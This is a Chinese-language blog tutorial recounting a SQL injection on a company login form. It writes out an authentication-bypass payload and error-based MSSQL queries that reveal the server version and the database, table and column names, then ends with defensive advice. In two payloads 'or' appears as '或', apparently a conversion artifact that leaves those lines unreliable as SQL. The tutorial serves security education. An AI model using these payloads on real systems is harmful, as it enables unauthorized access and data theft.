首頁 >資料庫 >mysql教程 >分享一個SQL注入的實例過程

分享一個SQL注入的實例過程

零下一度
零下一度原創
2017-05-17 15:53:267127瀏覽

SQL注入有很大的危害,這篇文章就記錄了一個SQL注入的實例全過程,大家來看看他的危害有多大。

初步注入--繞過驗證,直接登入

公司網站登陸框如下:

分享一個SQL注入的實例過程

##可以看到除了帳號密碼之外,還有一個公司名的輸入框,根據輸入框的形式不難推出SQL的寫法如下:

SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'

我發現前兩者都做一些檢查,而第三個輸入框卻疏忽了,漏洞就在這裡!注入開始,在輸入框中輸入以下內容:

分享一個SQL注入的實例過程

用戶名亂填,密碼留空,這種情況下點擊登入

按鈕後竟然成功登入了。我們看一下最終的SQL就會找到原因:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'

從程式碼可以看出,前一半單引號被閉合,後一半單引號被「--」給

註解掉,中間多了一個永遠成立的條件“1=1”,這就造成任何字元都能成功登入的結果。而Sql注入的危害卻不只是匿名登入。

中級注入--借助異常獲取資訊。

現在我們在第三個輸入框中寫入:「‘ or 1=(SELECT @@version) –」。如下:

分享一個SQL注入的實例過程

後台的SQL變成了這樣:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'

判斷條件變成了1=(SELECT @@VERSION),這個寫法一定會導致錯誤,但出錯正是我們想要的。點選登入後,頁面出現以下資訊:

Conversion failed when converting the nvarchar value &#39;Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) &#39; to data type int.

可怕的事情出現了,伺服器的作業系統和SQL Server版本資訊竟然透過錯誤顯示出來。

危害擴大--取得伺服器所有的庫名、表名、欄位名稱

接著,我們在輸入框中輸入以下資訊:「t' or 1=(SELECT

top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”,此時發現第三個輸入框有字數長度的限制,然而這種客戶端的限制形同虛設,直接透過Google瀏覽器就能去除。

分享一個SQL注入的實例過程

點擊登錄,傳回的資訊如下:

Conversion failed when converting the nvarchar value &#39;master&#39; to data type int.

資料庫名稱「master」透過異常被顯示出來!依序改變上面SQL語句中的序號,就能得到伺服器上所有資料庫的名稱。

接著,輸入資訊如下:"b' 或 1=(SELECT top 1 name FROM master..sys

objects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--”

得到回傳資訊如下:

Conversion failed when converting the nvarchar value &#39;spt_fallback_db&#39; to data type int.

我們得到了master資料庫中的第一張表名:"spt_fallback_db ”,同上,依序改變序號,可得到該庫全部表名。

現在我們以「spt_fallback_db」表為例,嘗試取得該表中所有的欄位名稱。在輸入框中輸入以下程式碼:「b' 或 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master ..sysobjects.name='spt_fallback_db');」

於是,得到錯誤提示如下:

"Conversion failed when converting the nvarchar value &#39;xserver_name&#39; to data type int.";

這樣第一個欄位名稱「xserver_name」就出來了,依序改變序號,就能遍歷出所有的字段名。

最終目的--取得資料庫中的資料

寫到這裡,我們已知透過SQL注入能取得全部的資料庫,表,及其字段,為了防止本文完全淪為注入教程,取得資料的程式碼就不再描述,而這篇文章的目的也已達到,SQL注入代表什麼?

意味著資料庫中所有資料都能被盜取

當知道這個危害以後,是否還能有人對SQL注入漏洞置之不理?

結語

關於安全性,本文可總結出幾點:

  1. 對使用者輸入的內容要時時保持警覺。

  2. 只有客戶端的驗證等於沒有驗證。

  3. 永遠不要把伺服器錯誤訊息暴露給使用者。

除此之外,我還要補充幾點:

  1. #SQL注入不僅能透過輸入框,還能透過Url達到目的。

  2. 除了伺服器錯誤頁面,還有其他方法可以取得資料庫資訊。

  3. 可透過軟體模擬注入行為,這種方式盜取資訊的速度比你想像中快的多。

  4. 漏洞跟語言平台無關,並非asp才有註入漏洞而asp.net就沒有註入漏洞,一切要看設計者是否用心。

【相關推薦】

1. 特別推薦「php程式設計師工具箱」V0.1版下載

2. 如何防止sql注入?介紹5種防止sql注入的方法

3. 分享五個著名的SQL注入漏洞掃描工具

4. 分享一個使用SQL注入漏洞拖曳程式庫的實例講解

#

以上是分享一個SQL注入的實例過程的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn